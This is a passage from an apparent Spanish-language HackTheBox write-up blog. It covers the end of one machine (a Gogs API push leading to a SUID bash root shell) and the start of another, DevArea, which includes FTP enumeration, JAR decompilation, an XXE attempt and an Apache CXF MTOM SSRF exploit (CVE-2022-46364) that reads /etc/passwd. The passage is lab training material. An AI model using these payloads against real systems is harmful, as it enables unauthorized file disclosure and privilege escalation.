\u0026#34;origin\u0026#34;] url = git@staging-v2-code.dev.silentium.htb:username/testRepo.git fetch = +refs/heads/*:refs/remotes/origin/* [branch \u0026#34;master\u0026#34;] remote = origin merge = refs/heads/master 1 2 cat payload | base64 -w 0 W2NvcmVdCiA...WRzL21hc3Rlcgo= Una vez tenemos todo, creamos la solicitud completa:\n1 2 3 4 5 6 7 $ curl -v -u username:password -X PUT http://staging-v2-code.dev.silentium.htb/api/v1/repos/username/testRepo/contents/cosas.txt -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;message\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;branch\u0026#34;:\u0026#34;master\u0026#34;,\u0026#34;sha\u0026#34;:\u0026#34;74a16c50bb417b927af27e37af24480f00ed5232\u0026#34;,\u0026#34;committer\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;username\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;user@name.com\u0026#34;},\u0026#34;content\u0026#34;:\u0026#34;W2Nvcm...Rlcgo=\u0026#34;}\u0026#39; ...[SNIP]... * upload completely sent off: 682 bytes \u0026lt; HTTP/1.1 401 Unauthorized \u0026lt; Server: nginx/1.24.0 (Ubuntu) ... Nos da 401 Unauthorized, aunque posiblemente se deba a que para operaciones como esta, en APIs, se prefiere (y se obliga a) usar Tokens en lugar de autenticación básica como la que hemos usado. Si vamos a User -\u0026gt; Settings -\u0026gt; Applications podremos crear un token.\nCopiamos su valor 2b4ec59e94ca7020cc56f40b9c6d7da1c1897619 y modificamos la solicitud:\n1 2 3 4 5 6 7 8 9 10 curl -v -X PUT http://staging-v2-code.dev.silentium.htb/api/v1/repos/username/testRepo/contents/cosas.txt -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;Authorization: token 2b4ec59e94ca7020cc56f40b9c6d7da1c1897619\u0026#34; -d \u0026#39;{\u0026#34;message\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;branch\u0026#34;:\u0026#34;master\u0026#34;,\u0026#34;sha\u0026#34;:\u0026#34;74a16c50bb417b927af27e37af24480f00ed5232\u0026#34;,\u0026#34;committer\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;username\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;user@name.com\u0026#34;},\u0026#34;content\u0026#34;:\u0026#34;W2Nvcm...Rlcgo=\u0026#34;}\u0026#39; ...[SNIP]... * upload completely sent off: 682 bytes \u0026lt; HTTP/1.1 500 Internal Server Error \u0026lt; Server: nginx/1.24.0 (Ubuntu) ...[SNIP]... * Connection #0 to host staging-v2-code.dev.silentium.htb:80 left intact {\u0026#34;message\u0026#34;:\u0026#34;Something went wrong, please check the server logs for more information.\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;https://github.com/gogs/docs-api\u0026#34;} Y nos ha dado error, como debería. Ahora, si vamos a /bin/bash deberíamos ver el bit SUID puesto.\n1 2 ben@silentium:~$ ls -l /bin/bash -rwsrwsrwx 1 root root 1446024 Mar 31 2024 /bin/bash Y efectivamente está ahí, así que lo ejecutamos\u0026hellip;\n1 2 3 ben@silentium:~$ /bin/bash -p bash-5.2# whoami root Y tenemos root.\n","date":"11 de abril de 2026","externalUrl":null,"permalink":"/writeups/silentium/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, CVE, MailHog, Git, Gogs","title":"HackTheBox - Silentium","type":"writeups"},{"content":"","date":"11 de abril de 2026","externalUrl":null,"permalink":"/tags/mailhog/","section":"Tags","summary":"","title":"MailHog","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. ~6h Datos Iniciales: 10.129.19.233 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.219 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.5 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA) |_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519) 80/tcp open http Apache httpd 2.4.58 |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: DevArea - Connect with Top Development Talent 8080/tcp open http Jetty 9.4.27.v20200227 |_http-title: Error 404 Not Found |_http-server-header: Jetty(9.4.27.v20200227) 8500/tcp open http Golang net/http server |_http-title: Site doesn\u0026#39;t have a title (text/plain; charset=utf-8). | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Mon, 30 Mar 2026 17:20:04 GMT | Content-Length: 64 | This is a proxy server. Does not respond to non-proxy requests. | GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Mon, 30 Mar 2026 17:19:48 GMT | Content-Length: 64 |_ This is a proxy server. Does not respond to non-proxy requests. 8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Hoverfly Dashboard 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8500-TCP:V=7.98%I=7%D=3/30%Time=69CAB0B3%P=x86_64-pc-linux-gnu%r(Ge ...[SNIP]... 21/tcp (vsFTPd 3.0.5): FTP, login anónimo permitido, no vulnerable (salvo a DoS). 22/tcp (OpenSSH 9.6p1): No vulnerable 80/tcp (Apache/2.4.58): Vulnerable a CVE-2024-38476 (SSRF si hay una app backend con headers explotables), aunque posiblemente no sea relevante. Es la página de DevArea. 8080/tcp (Jetty 9.4.27.v20200227): Vulnerable a CVE-2019-17638, que permite exponer datos sensibles de usuarios. 8500/tcp (Golang net/http server): No parece detectarse correctamente. El fingerprint revela algunos datos, y si hacemos curl para verlo mejor: 1 2 $ curl devarea.htb:8500 This is a proxy server. Does not respond to non-proxy requests. 8888/tcp (Hoverfly Dashboard): Como dice el nombre, un panel de control con versión desconocida, tendremos que entrar para verla. Plan # Dado que tenemos varios puertos abiertos y un entorno que desconocemos, deberíamos organizar toda la info que tenemos para saber ante qué estamos, y así posteriormente saber en qué dirección ir.\nHoverfly Dashboard # Podemos empezar buscando qué es Hoverfly (y Hoverfly Dashboard). Tras una búsqueda:\nHoverfly is an open-source, lightweight service virtualization tool designed to mock, simulate, and capture API interactions for software testing. It acts as a proxy server to create realistic API responses, allowing developers to test systems without relying on live external services. The Hoverfly dashboard is a web-based GUI that offers real-time visualization and control over these simulated services.\nEs decir, es una aplicación que permite simular APIs, capturando las solicitudes de las aplicaciones a éstas a través de un proxy (que posiblemente sea el de tcp/8500) y generando las respuestas que la API real devolvería. Por otro lado, el dashboard es, como podríamos haber imaginado, un panel de control que permite gestionar todo esto.\nEs decir, confirmamos que:\ntcp/8888: Hoverfly Dashboard, para gestionar APIs simulados, sus respuestas, proxies y demás. Además, según Google, la autenticación viene desactivada por defecto, lo que implica que si nos metemos y no hay nada configurado, accederemos al panel directos, mientras que si lo hay, no tendremos unas credenciales por defecto que probar.\nHay una introducción a Hoverfly aquí.\nProxies # Buscando más acerca de la posibilidad de que realmente tcp/8500 sea el proxy, encuentro esto:\nThe default port for the Hoverfly proxy is 8500. It defaults to listening on localhost (127.0.0.1), passing traffic between clients and services. The administrative API, used for managing Hoverfly via hoverctl, defaults to port 8888.\ntcp/8500: Proxy encargado de interceptar solicitudes HTTP(S) entre el software que desarrollamos y el servicio externo para simular sus respuestas. Aplicación de prueba # Sabemos que Hoverfly se encarga de interceptar solicitudes HTTP/HTTPS y responder en nombre de las APIs reales, conocemos su Dashboard (8888) y su proxy (8500), pero cuál es la aplicación que se ejecuta y manda las solicitudes que Hoverfly intercepta?.\nDado que la mayoría de aplicaciones de prueba se ejecutan en los puertos 8000/8080, podemos intuir que tcp/8080 es la app en desarrollo, de ahí que no haya un header ni un servicio conocido y simplemente se clasifique como Jetty.\nAunque no estamos seguros de momento, asumimos que estamos en lo cierto. Siempre podemos corregirlo luego:\ntcp/8080: Aplicación en desarrollo que manda solicitudes API que intercepta Hoverfly. Resumen # Con todo esto, la visión general y el orden en el que buscaremos cosas queda:\n21/tcp: FTP, login anónimo permitido, podremos sacar info interesante. 80/tcp: Página de DevArea. Con todo el entorno de red que hay, es raro que el foothold inicial esté aquí, pero vale la pena descartarlo primero para centrarnos en Hoverfly. Entorno Hoverfly 8888/tcp (Hoverfly Dashboard): Probaremos a ver si no hay autenticación, y si la hay tiramos por otro lado (o buscamos credenciales). 8080/tcp (App en desarrollo): Todavía queda por ver, pero posiblemente haya algo interesante. 8500/tcp (Hoverfly Proxy): Dudablemente nos dará algo importante, pero tendremos que verlo. Así que vamos a por ello.\nFTP # Al conectarnos vemos un directorio pub:\n1 2 3 4 5 6 7 8 9 10 11 12 $ ftp anonymous@devarea.htb Connected to devarea.htb. 220 (vsFTPd 3.0.5) 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; ls drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub ftp\u0026gt; cd pub 250 Directory successfully changed. Dentro de éste encontramos un archivo employee-service.jar:\n1 2 3 4 5 6 7 8 9 ftp\u0026gt; ls -rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar ftp\u0026gt; get employee-service.jar local: employee-service.jar remote: employee-service.jar 150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes). 100% 6293 KiB 7.03 MiB/s 00:00 ETA 226 Transfer complete. 6445030 bytes received in 00:00 (6.73 MiB/s) Nota: .jar\u0026rsquo;s Para más info sobre los .jar puedes mirar Blocky en su apartado \u0026ldquo;Análisis de Plugins\u0026rdquo;.\nDado que Jetty (la app web que suponemos está en desarrollo) es un servidor web de Java, podemos intuir que este .jar va a ser específicamente el código fuente de esta app web.\nemployee-service.jar # Si abrimos el .jar\n1 2 3 4 5 6 $ jar xf employee-service.jar $ ls about.html com employee-service.jar htb javax jetty-dir.css META-INF mozilla org OSGI-INF schemas $ tree ...[SNIP]... 352 directories, 3609 files Dado que, como vemos, hay demasiados archivos para ir entrando manualmente a cada directorio, usamos tree -d para tener una visión global, ahí encuentro bastantes cosas:\nMuchos directorios de librerías. Al parecer esto es una práctica (o más bien el .jar en sí) denominada Fat JAR, que consiste en meter todas las dependencias de nuestro software también en el jar. Así que tendremos que ignorar muchas cosas. htb/devarea/: Un directorio sospechoso en otro directorio con nombre sospechosamente parecido a la plataforma en la que se hostea la máquina. META-INF/maven/com.environment/employee-service/: Metadatos con (posiblemente) versiones de librerías y demás. META-INF/MANIFEST.MF: Info y metadatos del programa. Indica cuál es la clase principal (y por tanto la función main() a partir de la cual se ejecuta el programa). Si miramos en MANIFEST.MF:\n1 2 3 4 5 6 Manifest-Version: 1.0 Archiver-Version: Plexus Archiver Built-By: root Created-By: Apache Maven 3.8.7 Build-Jdk: 1.8.0_462 Main-Class: htb.devarea.ServerStarter Vemos que htb.devarea.ServerStarter es el punto de inicio al programa.\nSi miramos META-INF/maven/com.environment/employee-service/pom.xml, vemos las versiones de cada aplicación del jar:\nemployee-service: 1.0, el programa custom. org.apache.cxf: 3.2.14, vulnerable a SSRF en MTOM (CVE-2022-46364), no nos centraremos en esto de momento. slf4j-api, slf4j-simple: 1.7.26, sin vulnerabilidades aparentes. maven-compiler-plugin: 3.8.1, sin vulnerabilidades aparentes. maven-shade-plugin: 3.6.0, sin vulnerabilidades aparentes. Así que solo queda ir a por nuestro programa custom en htb/devarea/:\n1 2 3 4 5 6 7 $ cd htb/devarea $ ls -l total 16 -rw-rw-r-- 1 kali kali 329 Sep 21 2025 EmployeeService.class -rw-rw-r-- 1 kali kali 1084 Sep 21 2025 EmployeeServiceImpl.class -rw-rw-r-- 1 kali kali 1562 Sep 21 2025 Report.class -rw-rw-r-- 1 kali kali 1173 Sep 21 2025 ServerStarter.class Tenemos 4 archivos compilados, podemos ir descompilándolos uno a uno.\n1 2 3 4 $ java -jar cfr-0.152.jar jar/htb/devarea/ServerStarter.class \u0026gt; decompiled/ServerStarter.java $ java -jar cfr-0.152.jar jar/htb/devarea/Report.class \u0026gt; decompiled/Report.java $ java -jar cfr-0.152.jar jar/htb/devarea/EmployeeServiceImpl.class \u0026gt; decompiled/EmployeeServiceImpl.java $ java -jar cfr-0.152.jar jar/htb/devarea/EmployeeService.class \u0026gt; decompiled/EmployeeService.java Archivos .class descompilados # Ahora vamos mirándolos, empezando por el que sabemos hace de main(), ServerStarter.java:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* Decompiled with CFR 0.152. */ package htb.devarea; import htb.devarea.EmployeeService; import htb.devarea.EmployeeServiceImpl; import org.apache.cxf.jaxws.JaxWsServerFactoryBean; public class ServerStarter { public static void main(String[] args) { JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean(); factory.setServiceClass(EmployeeService.class); factory.setServiceBean(new EmployeeServiceImpl()); factory.setAddress(\u0026#34;http://0.0.0.0:8080/employeeservice\u0026#34;); factory.create(); System.out.println(\u0026#34;Employee Service running at http://localhost:8080/employeeservice\u0026#34;); System.out.println(\u0026#34;WSDL available at http://localhost:8080/employeeservice?wsdl\u0026#34;); } } Vemos dos URLs relevantes:\nhttp://devarea.htb:8080/employeeservice: Ruta del servicio http://devarea.htb:8080/employeeservice?wsdl: WSDL. Info de formato de la petición SOAP. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package htb.devarea; public class Report { private String employeeName; private String department; private String content; private boolean confidential; public String getEmployeeName() { return this.employeeName; } public void setEmployeeName(String employeeName) { this.employeeName = employeeName; } public String getDepartment() { return this.department; } public void setDepartment(String department) { this.department = department; } public String getContent() { return this.content; } public void setContent(String content) { this.content = content; } public boolean isConfidential() { return this.confidential; } public void setConfidential(boolean confidential) { this.confidential = confidential; } public String toString() { return \u0026#34;Report{employeeName=\u0026#39;\u0026#34; + this.employeeName + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, department=\u0026#39;\u0026#34; + this.department + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, content=\u0026#39;\u0026#34; + this.content + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, confidential=\u0026#34; + this.confidential + \u0026#39;}\u0026#39;; } } Se define un objeto Report con 4 campos:\nemployeeName (string) department (string) content (string) confidential (bool) 1 2 3 4 5 6 7 8 9 package htb.devarea; import htb.devarea.Report; import javax.jws.WebService; @WebService(name=\u0026#34;EmployeeService\u0026#34;, targetNamespace=\u0026#34;http://devarea.htb/\u0026#34;) public interface EmployeeService { public String submitReport(Report var1); } Expone la interfaz de nombre \u0026ldquo;EmployeeService\u0026rdquo; al exterior (a http://devarea.htb/).\n1 2 3 4 5 6 7 8 9 10 11 12 13 package htb.devarea; import htb.devarea.EmployeeService; import htb.devarea.Report; public class EmployeeServiceImpl implements EmployeeService { @Override public String submitReport(Report report) { String greeting = report.isConfidential() ? \u0026#34;Report marked confidential. Thank you, \u0026#34; + report.getEmployeeName() : \u0026#34;Report received from \u0026#34; + report.getEmployeeName(); return greeting + \u0026#34;. Department: \u0026#34; + report.getDepartment() + \u0026#34;. Content: \u0026#34; + report.getContent(); } } Implementa la interfaz \u0026ldquo;EmployeeService\u0026rdquo;, haciendo que en función de si report.isConfidential() es verdadero o falso se guarde en greeting:\nV: Report marked confidential. Thank you, [NOMBRE] F: Report received from [NOMBRE] Luego, devuelve un string formado por greeting, report.getDepartment() y report.getContent(). En sí no hay nada peligroso ni vulnerable en estos .jar. No se acceden a bases de datos (SQLi) y tampoco se ejecutan comandos (RCE). Lo único de lo que podemos aprovecharnos es que el servidor nos devuelve exactamente la información (Nombre, Departamento, etc.) que le mandamos, por lo que puede ser vulnerable a XXE.\nPuerto 8080 # Intento de XXE # Para confirmar el XXE, miramos las versiones en el .jar:\n1 2 3 4 $ cat META-INF/maven/com.fasterxml.woodstox/woodstox-core/pom.properties version=5.0.3 groupId=com.fasterxml.woodstox artifactId=woodstox-core Si buscamos la versión exacta, daremos con esto: WS-2018-0629.\nNota: CVEs y WS A diferencia de los CVE (emitidos por MITRE/NIST), los WS son identificadores de vulnerabilidades descubiertas por Mend (anteriormente WhiteSource, una plataforma de comprobación de seguridad en aplicaciones) y que todavía no han recibido su CVE correspondiente. Algunos WS, como este caso (WS-2018-0629), nunca reciben un CVE oficial.\nAsí que, efectivamente, comprobamos que Woodstox 5.0.3 es vulnerable a XXE.\nSi miramos el WSDL (http://devarea.htb:8080/employeeservice?wsdl), vemos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;xs:complexType name=\u0026#34;submitReport\u0026#34;\u0026gt; \u0026lt;xs:sequence\u0026gt; \u0026lt;xs:element minOccurs=\u0026#34;0\u0026#34; name=\u0026#34;arg0\u0026#34; type=\u0026#34;tns:report\u0026#34;/\u0026gt; \u0026lt;/xs:sequence\u0026gt; \u0026lt;/xs:complexType\u0026gt; \u0026lt;xs:complexType name=\u0026#34;report\u0026#34;\u0026gt; \u0026lt;xs:sequence\u0026gt; \u0026lt;xs:element name=\u0026#34;confidential\u0026#34; type=\u0026#34;xs:boolean\u0026#34;/\u0026gt; \u0026lt;xs:element minOccurs=\u0026#34;0\u0026#34; name=\u0026#34;content\u0026#34; type=\u0026#34;xs:string\u0026#34;/\u0026gt; \u0026lt;xs:element minOccurs=\u0026#34;0\u0026#34; name=\u0026#34;department\u0026#34; type=\u0026#34;xs:string\u0026#34;/\u0026gt; \u0026lt;xs:element minOccurs=\u0026#34;0\u0026#34; name=\u0026#34;employeeName\u0026#34; type=\u0026#34;xs:string\u0026#34;/\u0026gt; \u0026lt;/xs:sequence\u0026gt; \u0026lt;/xs:complexType\u0026gt; La función submitReport requiere un parámetro arg0 con un objeto report, formado por los 4 campos que habíamos visto antes. Podemos probar a mandar un payload cualquiera, no necesariamente malicioso, a ver si funciona; como el siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt;If a mosquito has a soul, it is mostly evil. So I don\u0026#39;t have too many qualms about putting a mosquito out of its misery. I\u0026#39;m a little more respectful of ants.\u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;N/A\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;Douglas R. Hofstadter\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; Probamos a mandarlo:\n1 2 $ curl http://devarea.htb:8080/employeeservice -X POST -H \u0026#34;Content-Type: text/xml\u0026#34; -d @payload_clean.xml \u0026lt;soap:Envelope xmlns:soap=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt;\u0026lt;soap:Body\u0026gt;\u0026lt;ns2:submitReportResponse xmlns:ns2=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt;\u0026lt;return\u0026gt;Report received from Douglas R. Hofstadter. Department: N/A. Content: If a mosquito has a soul, it is mostly evil. So I don\u0026#39;t have too many qualms about putting a mosquito out of its misery. I\u0026#39;m a little more respectful of ants.\u0026lt;/return\u0026gt;\u0026lt;/ns2:submitReportResponse\u0026gt;\u0026lt;/soap:Body\u0026gt;\u0026lt;/soap:Envelope\u0026gt; Y recibimos el output, así que sabemos que se ha procesado correctamente.\nSi ahora probamos con uno malicioso, como este:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt;\u0026amp;xxe;\u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;test\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;test\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; Veremos que la respuesta es:\n1 2 3 4 curl http://devarea.htb:8080/employeeservice -X POST -H \u0026#34;Content-Type: text/xml\u0026#34; -d @payload.xml \u0026lt;soap:Envelope xmlns:soap=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt;\u0026lt;soap:Body\u0026gt;\u0026lt;soap:Fault\u0026gt;\u0026lt;faultcode\u0026gt;soap:Client\u0026lt;/faultcode\u0026gt;\u0026lt;faultstring\u0026gt;Error reading XMLStreamReader: Received event DTD, instead of START_ELEMENT or END_ELEMENT. at [row,col {unknown-source}]: [1,52]\u0026lt;/faultstring\u0026gt;\u0026lt;/soap:Fault\u0026gt;\u0026lt;/soap:Body\u0026gt;\u0026lt;/soap:Envelope\u0026gt; Y nos da error.\nTras varias pruebas\u0026hellip; Tras probar un rato largo con varios payloads diferentes (XInclude, SSRF, etc.), sigo sin haber descubierto nada, así que decido que es momento de ir por otro camino.\nCVE-2022-46364 # Antes, al mirar las versiones de las librerías y apps instaladas en el .jar, había mencionado lo siguiente:\norg.apache.cxf: 3.2.14, vulnerable a ataques similares a SSRF en MTOM (CVE-2022-46364), no nos centraremos en esto de momento.\nBien, pues esta mención a ese CVE la había hecho por deber más que por cualquier otra cosa, porque no tenía la más mínima intención de mirar ese CVE y de hecho ni siquiera pensaba que fuésemos a tener que usarlo, ahora bien, puede ser que nos saque de esta situación.\nVulnerabilidad # El CVE dice:\nA SSRF vulnerability in parsing the href attribute of XOP:Include in MTOM requests in versions of Apache CXF before 3.5.5 and 3.4.10 allows an attacker to perform SSRF style attacks on webservices that take at least one parameter of any type.\nNormalmente, si se quiere enviar un archivo binario (p.ej, un pdf) a través de un API SOAP, hay que codificarlo en b64 y meterlo en XML. Para archivos grandes esto es muy lento de procesar.\nPara solucionar esto, se inventó Message Transmission Optimization Mechanism, MTOM. MTOM permite enviar mensajes SOAP como si fuesen emails con archivos adjuntos (con MIME), usando el formato multipart/related.\nEl XML principal va en una parte del mensaje y los datos binarios en otra. Para conectarlo todo, se usa XOP. Dentro del XML se pone un tag que actúa como puntero al \u0026ldquo;fichero adjunto\u0026rdquo;, usando su Content-ID (cid), que suele tener formato de email por razones históricas (estándar MIME), aunque técnicamente podría tener cualquier formato\nUn XML con XOP sería algo así:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /employeeservice HTTP/1.1 Host: devarea.htb:8080 Content-Type: multipart/related; boundary=\u0026#34;SEPARADOR\u0026#34;; type=\u0026#34;application/xop+xml\u0026#34; --SEPARADOR Content-Type: application/xop+xml Content-ID: \u0026lt;root.message@cxf.apache.org\u0026gt; \u0026lt;soap:Envelope xmlns:soap=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt; \u0026lt;soap:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;content\u0026gt; \u0026lt;xop:Include xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34; href=\u0026#34;cid:9f3a769c@ejemplo.com\u0026#34;/\u0026gt; \u0026lt;/content\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soap:Body\u0026gt; \u0026lt;/soap:Envelope\u0026gt; --SEPARADOR Content-Type: application/octet-stream Content-ID: \u0026lt;9f3a769c@ejemplo.com\u0026gt; [ DATOS DEL ARCHIVO ...] --SEPARADOR-- Aquí:\nboundary=\u0026quot;SEPARADOR\u0026quot; especifica que, dado que se van a mandar varias cosas mezcladas en el paquete, --SEPARADOR hará de separador entre ellas. \u0026lt;9f3a769c@ejemplo.com\u0026gt; es el tag que identifica al binario en el mensaje. Cuando CXF recibe un mensaje así:\nLee Content-Type: multipart/related y boundary=\u0026quot;SEPARADOR\u0026quot; Divide la solicitud en varias partes en función del separador, los guarda en RAM indexados por cid Coge la primera parte, que siempre es el XML SOAP, y lo pasa al parser (Woodstox). El parser va leyendo hasta llegar al \u0026lt;xop:Include ... href=\u0026quot;cid:9f3a769c@ejemplo.com\u0026quot;/\u0026gt; El parser mira en memoria a ver si hay alguna parte con cid:9f3a769c@ejemplo.com. Si la hay, la toma y la incluye en el mensaje. Cuando todo está ya parseado, CXF convierte todos los datos al objeto report y nos lo devuelve. El problema aquí llega cuando CXF no verifica el valor del href, permitiéndonos solicitar un dato que, p.ej, no comience por cid:, sino que lo haga por http://.\nExplotación # Si mandamos este payload:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /employeeservice HTTP/1.1 Host: devarea.htb:8080 Content-Type: multipart/related; type=\u0026#34;application/xop+xml\u0026#34;; boundary=\u0026#34;SEPARADOR\u0026#34; Connection: close Content-Length: 688 --SEPARADOR Content-Type: application/xop+xml; charset=UTF-8; type=\u0026#34;text/xml\u0026#34; Content-ID: \u0026lt;root.message@cxf.apache.org\u0026gt; \u0026lt;soap:Envelope xmlns:soap=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soap:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt; \u0026lt;xop:Include xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34; href=\u0026#34;http://10.10.14.219:8000/test\u0026#34;/\u0026gt; \u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;test\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;test\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soap:Body\u0026gt; \u0026lt;/soap:Envelope\u0026gt; --SEPARADOR-- Y lo mandamos: Vemos que efectivamente tenemos SSRF. Si probamos con href=\u0026quot;file:///etc/passwd\u0026quot;:\n1 2 3 \u0026lt;return\u0026gt;Report received from test. Department: test. Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2 ...[SNIP]... Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==\u0026lt;/return\u0026gt; Que está en b64, si lo decodificamos:\n1 2 3 4 5 6 7 8 9 10 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...[snip]... dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin _laurel:x:999:987::/var/log/laurel:/bin/false dhcpcd:x:100:65534:DHCP Client 